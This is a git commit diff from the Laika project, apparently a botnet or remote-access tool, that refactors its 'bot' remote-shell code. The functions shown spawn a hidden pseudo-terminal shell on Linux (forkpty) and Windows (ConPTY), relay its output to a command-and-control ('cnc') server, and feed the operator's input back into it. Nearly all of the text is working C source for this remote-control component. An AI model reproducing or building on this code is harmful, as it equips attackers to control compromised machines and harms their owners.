Bot: small shell.[ch] + native refactor

- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
This commit is contained in:
CPunch 2022-05-08 01:21:37 -05:00
parent 7d96f3252c
commit 63e36d1ebb
5 changed files with 37 additions and 40 deletions

View File

@ -6,7 +6,9 @@
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell;
struct sLaika_shell {
uint32_t id;
};
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
@ -15,9 +17,6 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* has to be a function since the struct is different depending on the platform */
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);

View File

@ -13,20 +13,20 @@
#include "bot.h"
#include "shell.h"
struct sLaika_shell {
struct sLaika_RAWshell {
struct sLaika_shell _shell;
int pid;
int fd;
uint32_t id;
};
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct winsize ws;
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols;
ws.ws_row = rows;
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
shell->id = id;
shell->_shell.id = id;
if (shell->pid == 0) {
/* child process, clone & run shell */
@ -36,14 +36,16 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
/* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, shell);
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
return shell;
return (struct sLaika_shell*)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
/* kill the shell */
kill(shell->pid, SIGTERM);
close(shell->fd);
@ -51,39 +53,37 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
laikaM_free(shell);
}
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
return shell->id;
}
/* ============================================[[ Shell Handlers ]]============================================= */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
if (rd > 0) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else if (rd == -1) {
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
return true; /* recoverable, there was no data to read */
/* not EWOULD or EAGAIN, must be an error! so close the shell */
laikaB_freeShell(bot, shell);
laikaB_freeShell(bot, _shell);
return false;
}
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
size_t nLeft;
int nWritten;
@ -93,7 +93,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
/* some error occurred */
if (length == nLeft) {
/* unrecoverable error */
laikaB_freeShell(bot, shell);
laikaB_freeShell(bot, _shell);
return false;
} else { /* recoverable */
break;

View File

@ -19,7 +19,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows,
}
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
uint32_t id = laikaB_getShellID(bot, shell);
uint32_t id = shell->id;
/* tell cnc shell is closed */
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);

View File

@ -8,12 +8,12 @@
#include <process.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_shell {
struct sLaika_RAWshell {
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
STARTUPINFOEX startupInfo;
HPCON pseudoCon;
uint32_t id;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
@ -21,11 +21,11 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
TCHAR szComspec[MAX_PATH];
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_shell));
shell->id = id;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
shell->_shell.id = id;
/* create pty */
hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
@ -73,10 +73,12 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
return NULL;
}
return shell;
return (struct sLaika_shell*)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@ -95,10 +97,6 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
laikaM_free(shell);
}
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
return shell->id;
}
/* ============================================[[ Shell Handlers ]]============================================= */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
@ -163,33 +161,35 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, shell);
laikaB_freeShell(bot, _shell);
return false;
}
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
size_t nLeft;
DWORD nWritten;
@ -197,7 +197,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, shell);
laikaB_freeShell(bot, _shell);
return false;
}

View File

@ -90,10 +90,8 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
type = laikaS_readByte(&peer->sock);
/* ignore panel clients */
if (type == PEER_AUTH) {
LAIKA_DEBUG("got auth!\n");
if (type == PEER_AUTH)
return;
}
if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");